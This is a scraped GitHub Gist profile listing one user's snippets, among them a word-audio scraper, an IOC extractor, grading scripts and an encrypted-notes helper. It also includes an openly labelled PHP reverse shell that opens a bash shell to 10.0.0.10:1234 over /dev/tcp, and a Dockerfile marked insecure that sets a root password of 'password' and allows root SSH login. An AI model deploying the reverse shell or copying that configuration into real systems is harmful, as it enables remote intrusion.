Skip to content

Instantly share code, notes, and snippets.

View rshipp's full-sized avatar
🍉
drop ICE. defund police.

Ryan Shipp rshipp

🍉
drop ICE. defund police.
View GitHub Profile
@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@rshipp
rshipp / forvo_scraper.sh
Last active March 23, 2023 12:17
Scrape the highest rated MP3 from Forvo.com for a given word
#!/bin/bash
# Forvo scraper
language=${FORVO_LANG:-fr}
BASEURL="http://forvo.com/search/"
AUDIOURL="http://audio.forvo.com/mp3/"
word=$1
if [[ -z $word ]]; then
echo "usage: "
echo "FORVO_LANG=languagecode ./forvo_scraper.sh myword"
@rshipp
rshipp / wwwextract.py
Created March 4, 2019 16:05
extract iocs from urls
#!/usr/bin/env python2
# dependencies: pip install requests bs4 iocextract
# usage: python wwwextract.py URL
import sys
import requests
import bs4
import iocextract
response = requests.get(sys.argv[1])
import sys
import time
import pprint
from sandboxapi import vmray
# connect to the sandbox
sandbox = vmray.VMRayAPI('MY_KEY')
# verify connectivity
@rshipp
rshipp / hbuild.sh
Created May 14, 2016 21:53
Haskell helper
#!/bin/bash
name=$1
version=$(wget http://hackage.haskell.org/package/$name -qO- | grep Change\ log | sed 's,^.*<strong>\([0-9\.]*\)</strong></td></tr><tr><th>Change.*$,\1,')
echo Building $name-$version
cp -R haskell-conduit haskell-$name
cd haskell-$name
sed -i s/conduit/$name/g PKGBUILD
@rshipp
rshipp / gradehelper-u03
Last active January 22, 2016 05:57
Grading helper script for CSCI446 Unit3.
#!/bin/bash
# unit3 autograder helper script
# usage:
# ./gradehelper-u03 username
[[ -z $1 ]] && exit 1
cd $1
main() {
# Clone the git repo
@rshipp
rshipp / gradehelper-04
Last active January 22, 2016 05:57
Grading helper script for CSCI446 Unit4.
#!/bin/bash
# unit4 autograder helper script
# usage:
# ./gradehelper-u04 username
[[ -z $1 ]] && exit 1
cd $1
main() {
# Link and update the git repo
@rshipp
rshipp / MathWriter.ahk
Created October 19, 2013 19:25
Write greek characters.
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
#Warn ; Recommended for catching common errors.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory.
::sigma::Σ
::pi::π
::lambda::λ
::theta::θ
::delta::Δ
@rshipp
rshipp / Dockerfile
Created December 13, 2015 17:30
insecure-tomcat-ssh
FROM tomcat
RUN apt-get update && apt-get install -y openssh-server
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config
# SSH login fix. Otherwise user is kicked off after login
RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd
@rshipp
rshipp / notes.sh
Created September 25, 2015 11:44
take daily encrypted notes
#!/bin/bash
# take notes
IDENT= # put your gpg key id (email) here
NOTES_DIR=~/.n
TMP_DIR=/dev/shm/.n
GPG=gpg
mkdir -p "$NOTES_DIR" || exit $?